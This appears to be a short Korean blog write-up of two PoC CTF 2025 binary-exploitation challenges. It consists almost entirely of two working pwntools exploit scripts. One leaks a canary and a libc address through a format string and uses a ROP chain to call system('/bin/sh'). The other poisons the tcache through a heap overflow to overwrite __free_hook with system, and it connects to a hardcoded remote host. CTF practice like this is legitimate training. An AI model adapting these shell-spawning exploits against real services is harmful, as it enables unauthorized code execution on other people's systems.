Poc Ctf 2025 writeup
포너블 문제가 총 3개 나왔는데 3번째 문제는 12시에 추가되어서 한 시간정도 보다가 못 풀었다..
fsop 이용하는 문제였던 거 같은데 한동안 안했더니 다시 공부해봐야 할 것 같다.
PWN 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
from pwn import *
import re, sys
BINARY = './chall'
LIBC = './libc.so.6'
LIBC_LEAK_SUB = 0x1d2b03 #
BUF_OVERFLOW_OFFSET = 0x148
POP_RDI_OFF = 0x277e5
RET_OFF = 0x26e99
context.log_level = 'info'
context.binary = ELF(BINARY)
libc = ELF(LIBC)
def leak_values(p):
p.recvuntil(b'ur name:')
p.sendline(b'%p_%47$p')
raw = p.recvuntil(b'send your msg:', timeout=2, drop=True)
s = raw.decode(errors='ignore')
log.info(f'raw leak: {s!r}')
nums = re.findall(r'0x[0-9a-fA-F]+', s)
leaked_ptr = int(nums[0], 16)
canary = int(nums[1], 16)
return leaked_ptr, canary
def build_rop(libc_base):
pop_rdi = libc_base + POP_RDI_OFF
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + RET_OFF
return pop_rdi, ret, system, binsh
def exploit(host=None, port=None):
p = remote(host, port) if host and port else process(BINARY)
leaked_ptr, canary = leak_values(p)
log.success(f'leaked_ptr = {hex(leaked_ptr)}')
log.success(f'canary = {hex(canary)}')
libc_base = leaked_ptr - LIBC_LEAK_SUB
log.success(f'libc_base = {hex(libc_base)}')
pop_rdi, ret_g, system_addr, binsh_addr = build_rop(libc_base)
log.success(f'pop_rdi = {hex(pop_rdi)}')
log.success(f'ret gadget = {hex(ret_g)}')
log.success(f'system = {hex(system_addr)}')
log.success(f'binsh = {hex(binsh_addr)}')
p.recvuntil(b'send your msg:', timeout=0.5)
payload = b'A' * BUF_OVERFLOW_OFFSET
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret_g)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
log.info(f'payload len = {len(payload)}')
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
if len(sys.argv) == 3:
exploit(sys.argv[1], int(sys.argv[2]))
else:
exploit()
PWN 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *
import re, time, sys
TARGET_HOST = '34.252.33.37'
TARGET_PORT = 32734
LIBC_PATH = './libc.so.6'
PAD = 0xb0
TIMEOUT = 3
context.log_level = 'info'
libc = ELF(LIBC_PATH)
p = remote(TARGET_HOST, TARGET_PORT)
def menu(choice):
p.recvuntil(b': ')
p.sendline(str(choice).encode())
def create_raw(content: bytes):
menu(1)
p.recvuntil(b'Enter the note content: ')
p.sendline(content)
def create(content: bytes):
menu(1)
p.recvuntil(b'Enter the note content: ')
p.sendline(content)
end = time.time() + TIMEOUT
while time.time() < end:
try:
line = p.recvline(timeout=0.5)
except EOFError:
raise EOFError("remote closed while creating")
if not line:
continue
m = re.search(br'Note created at index (\d+)\.', line)
if m:
return int(m.group(1))
return None
def read_note(idx:int):
menu(2)
p.recvuntil(b': ')
p.sendline(str(idx).encode())
try:
return p.recvline(timeout=1)
except EOFError:
raise
def modify(idx:int, data: bytes):
menu(3)
p.recvuntil(b': ')
p.sendline(str(idx).encode())
p.recvuntil(b': ')
p.sendline(data)
end = time.time() + TIMEOUT
while time.time() < end:
try:
line = p.recvline(timeout=0.5)
except EOFError:
break
if b'Note modified successfully' in line:
return True
return False
def delete(idx:int):
menu(4)
p.recvuntil(b': ')
p.sendline(str(idx).encode())
end = time.time() + TIMEOUT
while time.time() < end:
try:
line = p.recvline(timeout=0.5)
except EOFError:
break
if b'Note deleted successfully' in line:
return True
return False
def leak_printf_from_menu6():
menu(6)
for _ in range(6):
try:
line = p.recvline(timeout=1)
except EOFError:
break
if not line:
continue
m = re.search(br'0x[0-9a-fA-F]+', line)
if m:
return int(m.group(0), 16)
return None
leak = leak_printf_from_menu6()
libc_base = leak - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
log.success(f"printf leak: {hex(leak)}")
log.info(f"libc_base: {hex(libc_base)} system: {hex(system_addr)} __free_hook: {hex(free_hook)}")
idx0 = create(b'A')
idx1 = create(b'B')
if idx0 is None or idx1 is None:
log.warning("couldn't parse created indices (continuing)")
delete(1)
payload = b'A' * PAD + p64(free_hook)
log.info(f"sending overflow ({len(payload)} bytes) to set fd -> {hex(free_hook)}")
ok = modify(0, payload)
time.sleep(0.05)
create(b'C')
victim_idx = create(p64(system_addr))
log.info(f"wrote system via create at idx: {victim_idx}")
bin_idx = create(b'/bin/sh\x00')
log.info(f"/bin/sh created at index {bin_idx}")
delete(bin_idx if bin_idx is not None else 2)
p.interactive()
This post is licensed under CC BY 4.0 by the author.

